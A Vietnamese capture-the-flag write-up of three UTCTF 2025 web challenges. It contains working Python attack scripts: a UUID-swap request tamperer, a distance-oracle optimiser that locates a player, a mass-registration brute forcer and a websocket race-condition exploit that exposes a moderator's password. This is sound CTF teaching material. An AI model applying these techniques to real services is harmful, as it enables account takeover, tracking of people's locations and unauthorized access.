---
# System prepended metadata

title: UTCTF 2025 - Web
tags: [UTCTF 2025]

---

# Number Champion
![image](https://hackmd.io/_uploads/rJi5t8Shkx.png)

Tóm tắt cụ thể là web này bắt ta chơi đoán số sao cho chiến thắng và tăng elo 3000 để gặp người chơi người chơi số 1 trong trò này là geopy với 3000 elo. Và địa chỉ của ngươi chơi này chính là flag. vậy thì điều đầu tiên ta làm sẽ là làm sao để up elo lên 3000

![image](https://hackmd.io/_uploads/SykZbFSnyx.png)

Thì sau 1 khoảng thời gian chơi thì mình phát hiện khi mình đấu ai đó thì nó sẽ gửi gói 1 gói POST
![image](https://hackmd.io/_uploads/Bke0ZYBnJg.png)
 
 ```https://numberchamp-challenge.utctf.live/battle?uuid=ab319d05-4fe4-4791-8ad1-c896ad6e148c&opponent=e4ffb640-cfcc-4043-8334-410337ebdcd5&number=123```
 Thì gói này có 3 thông số quan trọng. Đầu tiên là ```uuid``` cũng chính là uuid của mình khi mình bấm. Thứ hai là opponent nhìn thì nó cũng giống là uuid nên mình nghĩ đó là uuid của đối thủ. Cuối cùng chính là number thì đây chính là số của mình nhập vào. Như vậy nó tính thắng thua = cách nào ? Hay là thực tế chúng ta luôn thua và đối thủ là auto thắng ? Vậy thì nếu ta đổi uuid của mình cho opponent thì ta sẽ auto thắng sao ?

![image](https://hackmd.io/_uploads/SywAXFrnkx.png)
Quả thật là nếu đổi uuid cho thằng đối thủ thì chúng ta sẽ auto thắng .... giờ thì ta chỉ cần viết 1 code cho nó auto chạy để ta thắng thôi

```python=
import requests
import time

API_URL = "https://numberchamp-challenge.utctf.live/battle"
PARAMS = {
    "uuid": "9100eda9-9e62-4194-96ca-28194e9ab7d1",
    "opponent": "5d239db6-6aa1-49a4-81dd-ad39f13f3e4a",
    "number": "1"
}
HEADERS = {"Content-Type": "application/json"}  # Tuỳ chỉnh headers nếu cần

for i in range(5):
    response = requests.post(API_URL, params=PARAMS, headers=HEADERS)
    print(f"Lần {i+1}: {response.status_code} - {response.text}")
    time.sleep(2)
```
<3 Giờ thì spam đến khi nào gặp top 1 server thôi. Sau khi chơi 1 hồi thì mình đã thử check lại Elo của mình có gặp được top 1 chưa
![image](https://hackmd.io/_uploads/Syda4YBnJg.png)
Thì quả thực khi mình đủ Elo thì mình đã gặp top 1 server 3000 elo. Thì ở đây mình có thấy 3 thông số quan trọng. Thứ nhất là distance, thứ hai là lat cuối cùng là lon. Thì lat và lon là 2 thông số để xác định vị trí trên https://google.com/maps/
![image](https://hackmd.io/_uploads/rys8rKH2Jx.png)

Vậy thì giờ ta cần tìm lat và lon sao cho distance = 0 phải không ? Mình đã nghĩ vậy và thử thay đổi lat với lon trên chính gói tin match đó xem sao thì quả thật distance đã thay đổi

![image](https://hackmd.io/_uploads/r1_jrYr2Jg.png)

```python=
import requests
from scipy.optimize import minimize

# URL API
BASE_URL = "https://numberchamp-challenge.utctf.live/match"
UUID = "5d239db6-6aa1-49a4-81dd-ad39f13f3e4a"

# Hàm gửi request đến API để lấy khoảng cách
def get_distance(lat, lon):
    print(f"📍 Kiểm tra tọa độ: lat={lat}, lon={lon}")  # Debug
    params = {"uuid": UUID, "lat": lat, "lon": lon}
    try:
        response = requests.post(BASE_URL, params=params, timeout=5)
        data = response.json()
        
        # Kiểm tra nếu API trả về lỗi
        if "error" in data:
            print(f"⚠️ API Error: {data['error']}")  # Debug
            return float('inf')  # Trả về giá trị rất lớn để thuật toán bỏ qua

        print(f"✅ Distance: {data['distance']}")  # Debug
        return data["distance"]
    except requests.exceptions.Timeout:
        print("❌ Timeout khi gọi API!")
        return float('inf')


# Hàm tối ưu hóa để tìm lat, lon sao cho distance = 0
def find_exact_location():
    initial_guess = [30, -85]  # Điểm bắt đầu
    result = minimize(lambda x: get_distance(x[0], x[1]), initial_guess, method="Powell", options={'maxiter': 100})
    return result.x  # Trả về lat, lon tối ưu

# Chạy thuật toán tối ưu
best_lat, best_lon = find_exact_location()
print(f"🔹 Tọa độ chính xác: lat = {best_lat}, lon = {best_lon}")
```
Mình đã tạo 1 code để nó tự tìm lat với lon sao cho distance = 0 ta chỉ cần chạy và đợi khi nào distance = 0 thôi
![image](https://hackmd.io/_uploads/B1_9PKrnJx.png)
giờ ta sẽ lấy 1 lat,lon ra test thử trên googlemap thôi
```lat=39.94041866103855, lon=-82.99669967618532```

![image](https://hackmd.io/_uploads/H1roYtrhJl.png)
Bùm nó chính là 1 quán starbucks ( đôi lúc nó sẽ hơi lệch tí nên bạn phải thử các địa chỉ gần đó nữa nếu flag sai )
nếu flag chính là địa chỉ của người chơi đó vậy thì flag sẽ là
**utflag{1059-s-high-st-columbus-43206}**


# OTP
![image](https://hackmd.io/_uploads/B1m2FIH3Jx.png)
Tóm tắt thì bài này muốn ta tìm flag bằng cách là ghi vào secret sao cho mình với flag giống nhau nhất là mình x flag : 0
![image](https://hackmd.io/_uploads/HkmljKHnke.png)
Mình cũng đã f12 lên tìm xem có gói tin hay gì đặc biệt không thì hoàn toàn không. Vậy nên mình đã nghĩ tới 1 cách là brute force thì ta cần tìm từng chữ sao cho điểm số nó trừ từ từ đến khi ta x flag : 0 là thôi

```python=
import requests
import random
import string
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

# Cấu hình URL và header
url = "http://challenge.utctf.live:3725/index.php"
headers = {
    "Origin": "http://challenge.utctf.live:3725",
    "Content-Type": "application/x-www-form-urlencoded",
    "Referer": "http://challenge.utctf.live:3725/index.php",
    "Connection": "keep-alive"
}

# Hàm gửi request với retry khi gặp lỗi
def send_request_with_retry(url, data, retries=3, delay=2):
    for attempt in range(retries):
        try:
            response = requests.post(url, headers=headers, data=data)
            if response.status_code == 200:
                return response
            print(f"Error: {response.status_code}. Retrying...")
        except requests.RequestException as e:
            print(f"Request failed: {e}. Retrying...")
        
        time.sleep(delay)
    return None  # Trả về None nếu request thất bại hoàn toàn

# Hàm đăng ký tài khoản
def register_user(username, password):
    data = f"username={username}&password={password}"
    response = send_request_with_retry(url, data)
    return (username, password) if response else None  # Chỉ trả về nếu request thành công

# Hàm kiểm tra pairing với "flag"
def check_pairing(username, password):
    data = f"username1={username}&username2=flag"
    response = send_request_with_retry(url, data)
    
    if response and f"The pairing for {username} and flag is:" in response.text:
        # Trích xuất số flag từ response
        new_flag_number = response.text.split("flag is: ")[1].split()[0]
        new_flag_number = ''.join(filter(str.isdigit, new_flag_number))
        return int(new_flag_number), password
    return None

# Hàm xử lý batch thử nghiệm nhiều ký tự cùng lúc
def process_batch(base_password, char_set):
    results = []
    
    with ThreadPoolExecutor(max_workers=10) as executor:
        # Đăng ký nhiều tài khoản song song
        register_futures = {executor.submit(register_user, ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)), base_password + c): c for c in char_set}
        username_password_pairs = [future.result() for future in as_completed(register_futures) if future.result()]
        
        # Kiểm tra pairing song song
        pairing_futures = {executor.submit(check_pairing, username, password): password for username, password in username_password_pairs}
        for future in as_completed(pairing_futures):
            result = future.result()
            if result:
                results.append(result)

    return results

# Bắt đầu brute-force flag
base_password = "utflag{On3_sT3P_"
flag_number = 2000
char_set = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()-_=+[]{}|;:,.<>?/~"

while flag_number != 0:
    print(f"Đang thử với flag_number: {flag_number}")    
    results = process_batch(base_password, char_set)

    if not results:
        print("Không tìm thấy cặp hợp lệ. Dừng lại.")
        break

    # Tìm flag_number nhỏ nhất (ưu tiên ký tự đúng)
    lowest_flag_number, lowest_password = min(results, key=lambda x: x[0])
    print(f"flag_number nhỏ nhất tìm được: {lowest_flag_number}")    
    base_password = lowest_password
    print(f"Cập nhật base_password: {base_password}")
    flag_number = lowest_flag_number

print("Hoàn thành! Tìm được flag.")

```
Lâu lâu server reset sẽ bị lỗi thì bạn chỉ cần lấy lại flag gần nhất và để vào cho nó chạy tiếp tục thôi <3
Như vậy là ta sẽ tìm được flag
![image](https://hackmd.io/_uploads/Hk8_hFShkl.png)

**utflag{On3_sT3P_4t_4_t1m3}**

# Chat
![image](https://hackmd.io/_uploads/rkiU5UBh1x.png)

Bắt đầu bài này thì challenge có kêu là /help để bắt đầu nên ta cứ làm theo thôi
![image](https://hackmd.io/_uploads/ryHqj8rh1l.png)

ta có /login nhưng cần password để vào
mình có thử /users thì phát hiện 2 user quan trọng là admin với moderator
![image](https://hackmd.io/_uploads/H1QCoUrnkl.png)
vậy thì có lẽ ta phải tìm password để vào 1 trong 2 account này đúng không ? ? Nhưng mà làm sao ... Ngoài ra còn có 2 channel là log với mod-info nhưng mà vô không được
![image](https://hackmd.io/_uploads/ryR5hLH3kg.png)
Mình thử f12 để check xem có gì dùng được không và phát hiện 1 điều đặc biết
![image](https://hackmd.io/_uploads/BJvEh8Snyg.png)

Là cứ khoảng thời gian moderator sẽ đăng nhập vào kênh và thông báo vậy thì chúng ta phải tìm cách vào được kênh log để có thể xem được password của moderator mỗi khi moderator vào như vậy. Nhưng mà làm sao ? Bằng cách nào ?
Thì sau 1 hồi test các lệnh thì mình phát hiện vài điều là kênh General này được tạo bởi admin và mình thì không có quyền sửa gì hết
![image](https://hackmd.io/_uploads/Sy_BpIB2kg.png)
Nên mình có thử tạo 1 channel 
![image](https://hackmd.io/_uploads/r1MoT8S2kg.png)
Và khi mình là owner của channel đó mình sẽ có quyền chỉnh sửa bất cứ thứ gì
![image](https://hackmd.io/_uploads/r1gyAISnJg.png)
Mình thử lệnh /set thì phát hiện là mình có thể set channel.mode thành log như vậy channel của mình sẽ có thể hiện log ? 
![image](https://hackmd.io/_uploads/HJofCIH31l.png)
Nhưng channel phải hidden và admin-only mới được chỉnh thành log ... Và khi mình thử chỉnh 
```
/set channel.hidden true
/set channel.admin-only true
```
thì bản thân mình không thể vào được kênh đó nữa ![image](https://hackmd.io/_uploads/Hy73RLrnJl.png)
Và sau 1 hồi suy nghĩ thì mình có nghĩ tới Race condition vì mỗi hành động, câu lệnh mình dùng thì nó đều gửi lên websockets vậy thì sẽ ra sao nếu mình gửi cùng lúc nhiều req cho nó thực hiện ? Liệu có phải mình sẽ vừa có thể biến channel đó thành admin-only xong set thành mode log rồi đổi admin-only lại thành false không ? ![image](https://hackmd.io/_uploads/ryOxxwH3yx.png)

```python=
import asyncio
import websockets

async def interact():
    headers = {
        "Sec-WebSocket-Key": "diN3kjEsfNLyMO59SkX+jg==",
        "Cookie": "web-chat-userid=YefbDsWxq9Ow2b0gT0x32KihSd+T1t8NNaZPu4Cp4f8z5TDltztlrGTS+CxUIdP1"
    }
    url = "ws://challenge.utctf.live:5213/socket"

    async with websockets.connect(url, additional_headers=headers) as ws:
        await ws.send('/create hoa3-log')
        await ws.send('/join hoa3-log')
        await ws.send('/set channel.hidden true')
        await ws.send('/set channel.admin-only true')
        await ws.send('/set channel.mode log')
        await ws.send('/set channel.admin-only false')
        response = await ws.recv()
        print(response)

asyncio.run(interact())

```
Đây là code mình dùng để gửi 1 lúc nhiều req thì cụ thể nó sẽ tạo 1 channel xong set hết điều kiện để đổi thành channel đó thành mode log xong set lại tắt admin-only đi như vậy thì channel đó vẫn là channel log nhưng mình vẫn có thể vào
![image](https://hackmd.io/_uploads/BJt_-wBhJl.png)
như vậy là hoa3-log đã được tạo giờ ta thử vào xem
![image](https://hackmd.io/_uploads/Bkz0bDShye.png)
bùm thành công rồi giờ ta chỉ cần đợi moderator đăng nhập vào là sẽ thấy password
![image](https://hackmd.io/_uploads/SkxXMDBhJg.png)
vậy là password của moderator là unbroken-sandpit-scant-unmixable
giờ ta chỉ cần dùng ```/login unbroken-sandpit-scant-unmixable``` là sẽ đăng nhập được moderator
![image](https://hackmd.io/_uploads/rJxOMwSnJx.png)
![image](https://hackmd.io/_uploads/Hk5_fDBnye.png)
và khi vào mod-info ta chỉ cần /channel là sẽ thấy được flag
![image](https://hackmd.io/_uploads/BJA5zvH2Jl.png)
**utflag{32c6FLiaX5in9MhkPNDeYBUY}**